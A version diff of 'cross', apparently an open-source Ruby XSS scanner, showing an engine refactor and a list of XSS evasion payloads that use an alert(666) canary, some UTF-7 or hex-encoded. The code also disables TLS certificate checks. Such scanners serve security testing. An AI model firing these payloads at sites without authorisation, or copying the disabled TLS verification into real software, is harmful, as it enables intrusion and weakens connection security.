cross 0.60.0 → 0.70.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 4f1bec8b1ce4f2e496fe86f5d966efb87696b4e9
4
- data.tar.gz: 8953c2f3a406c7a3cedbeb6f09395e2ddd7e5c11
3
+ metadata.gz: 0d64cb7b3b08fc4bb0cd84d9e6397d18f665480f
4
+ data.tar.gz: 75938bd016b68f625effb11d333591de5c5b4a2a
5
5
  SHA512:
6
- metadata.gz: acb82a8dbe95bf8c952f2537d03642ec4f6d059202914d93f8509605beb208bf6088fdca447d84934f5d61446b7ad4e8f9b3442ed213091685abade5879c006e
7
- data.tar.gz: a159b734f9bb303170e2e922c936c4c89abfe83524f58f2392bee7e0b2e679813c8371d5c01edd46faa615b39e26f4e94cb7b020aa73e0eeba7ac0d1954b8cb6
6
+ metadata.gz: 20299787fae7dbceff48b0a9ccede33d6e56398846c6957008abce06a529c6b2915b871ac8a7d1b3b5afa1b4248d01e990cbd526db91a92af845ccebaf3dd0c5
7
+ data.tar.gz: 88e76a3705afb351f0f0bc6fa3c44196056ab3958ee6cb8d68d7d0196f92213837685acfa3570abf59722e6de216be77da917238c8c5308e57e30760437a0bc4
data/.gitignore CHANGED
@@ -1,5 +1,5 @@
1
1
  *.swp
2
- cross.log
2
+ *.log
3
3
  *.gem
4
4
  *.rbc
5
5
  .bundle
@@ -0,0 +1 @@
1
+ hacking
@@ -0,0 +1 @@
1
+ ruby-2.0.0-p247
data/bin/cross CHANGED
@@ -7,6 +7,8 @@ require 'cross'
7
7
  require 'getoptlong'
8
8
  require 'codesake-commons'
9
9
 
10
+ $logger = Codesake::Commons::Logging.instance
11
+
10
12
  opts = GetoptLong.new(
11
13
  [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
12
14
  [ '--version', '-v', GetoptLong::NO_ARGUMENT ],
@@ -19,18 +21,26 @@ opts = GetoptLong.new(
19
21
  ['--user', '-U', GetoptLong::REQUIRED_ARGUMENT ],
20
22
  ['--password', '-P', GetoptLong::REQUIRED_ARGUMENT ]
21
23
  )
22
- trap("INT") { puts '['+'INTERRUPTED'.color(:red)+']'; exit -1 }
24
+ trap("INT") { $logger.die "SIGINT detected. Giving up" }
23
25
 
24
- options={:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :crawl=>{:enabled=>false, :url_prefix=>nil}, :auth=>{:username=>nil, :password=>nil}}
25
- $logger = Codesake::Commons::Logging.instance
26
- $logger.toggle_syslog
26
+ options = {:exploit_url=>false,
27
+ :debug=>false,
28
+ :oneshot=>false,
29
+ :sample_post=>"",
30
+ :parameter_to_tamper=>"",
31
+ :auth=>{:username=>nil, :password=>nil},
32
+ :target=>""
33
+ }
27
34
 
28
35
  opts.each do |opt, arg|
29
36
  case opt
30
37
  when '--help'
31
- puts "usage: cross [-uDhv] target"
32
- puts " -u: exploits the URL string instead of looking at the form values"
38
+ puts "usage: cross [-D1StucUPhv] target"
33
39
  puts " -D: turns debug on"
40
+ puts " -1: random select a XSS attack pattern"
41
+ puts " -S arg: when tampering posts, arg is a valid POST body used as reference. It can be also a text file containg the POST parameters."
42
+ puts " -t arg: tells cross to tamper the given parameter. It must be used with -S flag turned on"
43
+ puts " -u: exploits the URL string instead of looking at the form values"
34
44
  puts " -v: shows version"
35
45
  puts " -h: this help"
36
46
  exit 0
@@ -49,10 +59,8 @@ opts.each do |opt, arg|
49
59
  options[:debug]=true
50
60
  when '--exploit-url'
51
61
  options[:exploit_url]=true
52
-
53
62
  when '--crawl'
54
- options[:crawl][:enabled]=true
55
- options[:crawl][:url_prefix] = arg unless arg.nil?
63
+ $logger.die "deprecated. codesake-crawler must be used instead"
56
64
  when '--user'
57
65
  options[:auth][:username]=arg
58
66
  when '--password'
@@ -60,30 +68,26 @@ opts.each do |opt, arg|
60
68
  end
61
69
  end
62
70
 
63
- $logger.helo "cross " + Cross::VERSION + " is starting up"
71
+ $logger.helo "cross", Cross::VERSION
72
+ $logger.die "missing target" if ARGV.length != 1
73
+ $logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
64
74
 
75
+
76
+ options[:target] = ARGV.shift
65
77
  engine = Cross::Engine.instance
66
78
  engine.start(options)
67
79
 
68
80
  found = false
69
- $logger.die "missing target" if ARGV.length != 1
70
- $logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
71
-
72
- if engine.crawl?
73
- result = engine.crawl(ARGV.shift)
74
- $logger.die result[:message] if result[:status] == 'KO'
75
81
 
76
-
77
- result[:links].each do |l|
78
- $logger.log "Exploiting: #{options[:crawl][:url_prefix]+l}"
82
+ engine.inject
83
+ unless engine.results.empty?
79
84
 
80
- found = engine.inject(options[:crawl][:url_prefix]+l)
81
- $logger.ok "Canary found in output page. Suspected XSS" if found
82
- end
83
- else
84
- found = engine.inject(ARGV.shift)
85
- $logger.ok "Canary found in output page. Suspected XSS" if found
85
+ $logger.ok "Canary found in output page. Suspected XSS"
86
+ engine.results.each do |res|
87
+ $logger.log res[:evidence]
88
+ end
86
89
  end
87
90
 
88
- $logger.err "Canary not found" if ! found
91
+
92
+ $logger.err "Canary not found" if engine.results.empty?
89
93
  $logger.helo "cross is leaving"
@@ -1,6 +1,7 @@
1
1
  require 'mechanize'
2
2
  require 'logger'
3
3
  require 'singleton'
4
+ require 'URI'
4
5
 
5
6
  require 'cross/xss'
6
7
 
@@ -10,84 +11,75 @@ module Cross
10
11
  class Engine
11
12
  include Singleton
12
13
 
13
- attr_reader :agent
14
+ attr_reader :agent
14
15
  attr_accessor :options
15
-
16
- def debug?
17
- @options[:debug]
16
+ attr_reader :results
17
+ attr_reader :target
18
+
19
+
20
+ def create_log_filename(target)
21
+ begin
22
+ return "cross_#{URI.parse(target).hostname.gsub('.', '_')}_#{Time.now.strftime("%Y%m%d")}.log"
23
+ rescue
24
+ return "cross_#{Time.now.strftime("%Y%m%d")}.log"
25
+ end
18
26
  end
19
27
 
20
28
  # Starts the engine
21
- def start(options={:exploit_url=>false, :debug=>false, :auth=>{}})
22
- @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
29
+ def start(options = {:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :auth=>{:username=>nil, :password=>nil}, :target=>""})
30
+ @agent = Mechanize.new {|a| a.log = Logger.new(create_log_filename(options[:target]))}
23
31
  @agent.user_agent_alias = 'Mac Safari'
24
32
  @agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
25
33
  @options = options
34
+ @target = options[:target]
35
+ @results = {}
26
36
  end
27
37
 
28
- def authenticate?
29
- ! @options[:auth].nil? and ! @options[:auth].empty?
30
- end
31
-
32
- def crawl?
33
- @options[:crawl][:enabled]
34
- end
35
-
36
- def crawl(url)
38
+
39
+ # def crawl(url)
40
+ # start if @agent.nil?
41
+
42
+ # links = []
43
+ # @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
44
+ # begin
45
+ # page=@agent.get(url)
46
+ # page=@agent.get(url) if authenticate?
47
+ # page.links.each do |l|
48
+ # @agent.log.debug("Link found: #{l.href}") if debug?
49
+ # links << l.href
50
+ # end
51
+ # rescue Mechanize::UnauthorizedError
52
+ # return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
53
+ # rescue => e
54
+ # return {:status=>'KO', :links=>links, :message=>e.to_s}
55
+ # end
56
+
57
+ # return {:status=>'OK', :links=>links, :message=>''}
58
+ # end
59
+
60
+ def inject
37
61
  start if @agent.nil?
38
62
 
39
- links = []
40
- @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
41
- begin
42
- page=@agent.get(url)
43
- page=@agent.get(url) if authenticate?
44
- page.links.each do |l|
45
- @agent.log.debug("Link found: #{l.href}") if debug?
46
- links << l.href
47
- end
48
- rescue Mechanize::UnauthorizedError
49
- return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
50
- rescue => e
51
- return {:status=>'KO', :links=>links, :message=>e.to_s}
52
- end
53
-
54
- return {:status=>'OK', :links=>links, :message=>''}
55
- end
56
-
57
- def inject(url)
58
- start if @agent.nil?
63
+ $logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug? && authenticate?
59
64
 
60
- $logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug?
65
+ @agent.add_auth(@target, @options[:auth][:username], @options[:auth][:password]) if authenticate?
61
66
 
62
- @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
63
-
64
- found = false
65
67
  if @options[:exploit_url]
66
68
  # You ask to exploit the url, so I won't check for form values
67
69
 
68
- attack_url = Cross::Url.new(url)
69
-
70
- Cross::Attack::XSS.each do |pattern|
71
- attack_url.params.each do |par|
72
-
73
- page = @agent.get(attack_url.fuzz(par[:name],pattern))
74
- @agent.log.debug(page.body) if debug?
75
-
76
- scripts = page.search("//script")
77
- scripts.each do |sc|
78
- $logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
79
- return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
80
- end
70
+ theurl= Cross::Url.new(@target)
81
71
 
82
- return false if options[:oneshot]
72
+ attack_url(theurl, Cross::Attack::XSS.rand) if oneshot?
83
73
 
84
- attack_url.reset
74
+ if ! oneshot?
75
+ Cross::Attack::XSS.each do |pattern|
76
+ attack_url(theurl, pattern)
85
77
  end
86
78
  end
87
79
 
88
80
  else
89
81
  begin
90
- page = @agent.get(url)
82
+ page = @agent.get(@target)
91
83
  rescue Mechanize::UnauthorizedError
92
84
  $logger.err 'Authentication failed. Giving up.'
93
85
  return false
@@ -99,48 +91,112 @@ module Cross
99
91
  return false
100
92
  end
101
93
 
102
- $logger.log "#{page.forms.size} form(s) found" if debug?
103
-
104
- Cross::Attack::XSS.each do |pattern|
105
-
106
- $logger.log "using attack vector: #{pattern}" if debug?
107
-
108
-
109
- page.forms.each do |f|
110
- f.fields.each do |ff|
111
- if options[:sample_post].empty?
112
- ff.value = pattern if options[:parameter_to_tamper].empty?
113
- ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
114
- else
115
- ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
116
- ff.value = pattern if ff.name==options[:parameter_to_tamper]
117
-
118
- end
119
- end
120
-
121
- pp = @agent.submit(f)
122
- $logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
123
- $logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
124
- $logger.err "Page is empty" if pp.body.empty?
125
- scripts = pp.search("//script")
126
- scripts.each do |sc|
127
- return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
128
- end
129
-
130
- # This is for input html field javascript event evasion
131
- inputs = pp.search("//input")
132
- inputs.each do |input|
133
- return true if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
134
- end
135
- end
136
- return false if options[:oneshot]
94
+
95
+ if page.forms.size == 0
96
+ $logger.log "no forms found, please try to exploit #{@target} with the -u flag"
97
+ return false
98
+ else
99
+ $logger.log "#{page.forms.size} form(s) found" if debug?
100
+ end
101
+ attack_form(page, Cross::Attack::XSS.rand) if oneshot?
102
+
103
+ if ! oneshot?
104
+ Cross::Attack::XSS.each do |pattern|
105
+ attack_form(page, pattern)
106
+ end
137
107
  end
138
108
  end
139
- found
109
+ @results.empty?
140
110
  end
141
111
 
142
112
 
143
113
  private
114
+
115
+ def oneshot?
116
+ @options[:oneshot]
117
+ end
118
+
119
+ def debug?
120
+ @options[:debug]
121
+ end
122
+ def authenticate?
123
+ ! ( @options[:auth][:username].nil? && @options[:auth][:password].nil? )
124
+ end
125
+
126
+ def attack_url(url = Cross::Url.new, pattern)
127
+ $logger.log "using attack vector: #{pattern}" if debug?
128
+ url.params.each do |par|
129
+
130
+ page = @agent.get(url.fuzz(par[:name],pattern))
131
+ @agent.log.debug(page.body) if debug?
132
+
133
+ scripts = page.search("//script")
134
+ scripts.each do |sc|
135
+ if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
136
+ $logger.log(page.body) if @debug
137
+ @results << {:page=>page.url, :method=>:get, :evidence=>sc.children.text, :param=>par}
138
+
139
+ return true
140
+ end
141
+ end
142
+
143
+ inputs = page.search("//input")
144
+ inputs.each do |input|
145
+ if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
146
+ $logger.log(page.body) if @debug
147
+ @results << {:page=>page.url, :method=>:get, :evidence=>input['onmouseover'], :param=>par}
148
+ return true
149
+ end
150
+ end
151
+
152
+ url.reset
153
+ end
154
+
155
+ false
156
+ end
157
+
158
+ def attack_form(page = Mechanize::Page.new, pattern)
159
+ $logger.log "using attack vector: #{pattern}" if debug?
160
+
161
+ page.forms.each do |f|
162
+ f.fields.each do |ff|
163
+ if options[:sample_post].empty?
164
+ ff.value = pattern if options[:parameter_to_tamper].empty?
165
+ ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
166
+ else
167
+ ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
168
+ ff.value = pattern if ff.name==options[:parameter_to_tamper]
169
+
170
+ end
171
+ end
172
+
173
+ pp = @agent.submit(f)
174
+ $logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
175
+ $logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
176
+ $logger.err "Page is empty" if pp.body.empty?
177
+ scripts = pp.search("//script")
178
+ scripts.each do |sc|
179
+ if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
180
+ $logger.log(page.body) if @debug
181
+ @results << {:page=>page.url, :method=>:post, :evidence=>sc.children.text}
182
+ return true
183
+ end
184
+ end
185
+
186
+ # This is for input html field javascript event evasion
187
+ inputs = pp.search("//input")
188
+ inputs.each do |input|
189
+ if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
190
+ $logger.log(page.body) if @debug
191
+ @results << {:page=>page.url, :method=>:post, :evidence=> input['onmouseover']}
192
+ return true
193
+ end
194
+ end
195
+ end
196
+
197
+ false
198
+ end
199
+
144
200
  def find_sample_value_for(sample, name)
145
201
  v=sample.split('&')
146
202
  v.each do |post_param|
@@ -11,17 +11,19 @@ module Cross
11
11
  @params = []
12
12
  @original_params = []
13
13
  @base_url = url.split('?')[0]
14
- p_array = url.split('?')[1].split('&')
15
- p_array.each do |p|
16
- pp = p.split('=')
17
- param = {}
18
- param[:name] = pp[0]
19
- param[:value] = pp[1] unless pp[1].nil?
14
+ if has_params?
15
+ p_array = url.split('?')[1].split('&')
16
+ p_array.each do |p|
17
+ pp = p.split('=')
18
+ param = {}
19
+ param[:name] = pp[0]
20
+ param[:value] = pp[1] unless pp[1].nil?
20
21
 
21
- @params << param
22
- @original_params << param.dup
22
+ @params << param
23
+ @original_params << param.dup
24
+ end
25
+ @original_params.freeze
23
26
  end
24
- @original_params.freeze
25
27
  end
26
28
 
27
29
  def to_s
@@ -54,6 +56,9 @@ module Cross
54
56
  end
55
57
  end
56
58
 
59
+ def has_params?
60
+ ! @url.split('?')[1].nil?
61
+ end
57
62
  def params_to_url
58
63
  ret = ""
59
64
  @params.each do |p|
@@ -1,3 +1,3 @@
1
1
  module Cross
2
- VERSION = "0.60.0"
2
+ VERSION = "0.70.0"
3
3
  end
@@ -1,12 +1,11 @@
1
+ require 'securerandom'
2
+
1
3
  module Cross
2
4
  module Attack
3
5
  class XSS
4
6
 
5
7
  CANARY = 666
6
-
7
- def self.each
8
-
9
- evasions = [
8
+ EVASIONS = [
10
9
  "a onmouseover=alert(#{Cross::Attack::XSS::CANARY})",
11
10
  "<script>alert(#{Cross::Attack::XSS::CANARY})</script>",
12
11
  "<script>alert(#{Cross::Attack::XSS::CANARY});</script>",
@@ -67,11 +66,17 @@ module Cross
67
66
  "+ADw-script+AD4-alert(#{Cross::Attack::XSS::CANARY})+ADw-/script+AD4-", # UTF-7
68
67
  "},alert(#{Cross::Attack::XSS::CANARY}),function x(){//", # DOM breaker
69
68
  "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(#{Cross::Attack::XSS::CANARY})\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
70
- ]
71
- evasions.each do |pattern|
69
+ ]
70
+
71
+ def self.rand
72
+ Cross::Attack::XSS::EVASIONS[SecureRandom.random_number(Cross::Attack::XSS::EVASIONS.size)]
73
+ end
74
+
75
+
76
+ def self.each
77
+ Cross::Attack::XSS::EVASIONS.each do |pattern|
72
78
  yield pattern if block_given?
73
79
  end
74
-
75
80
  end
76
81
 
77
82
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: cross
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.60.0
4
+ version: 0.70.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Paolo Perego
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2013-10-11 00:00:00.000000000 Z
11
+ date: 2013-10-17 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: rake
@@ -119,7 +119,8 @@ files:
119
119
  - .document
120
120
  - .gitignore
121
121
  - .rspec
122
- - .rvmrc
122
+ - .ruby-gemset
123
+ - .ruby-version
123
124
  - Gemfile
124
125
  - LICENSE
125
126
  - README.rdoc
data/.rvmrc DELETED
@@ -1,2 +0,0 @@
1
- rvm use 1.9.3@cross
2
-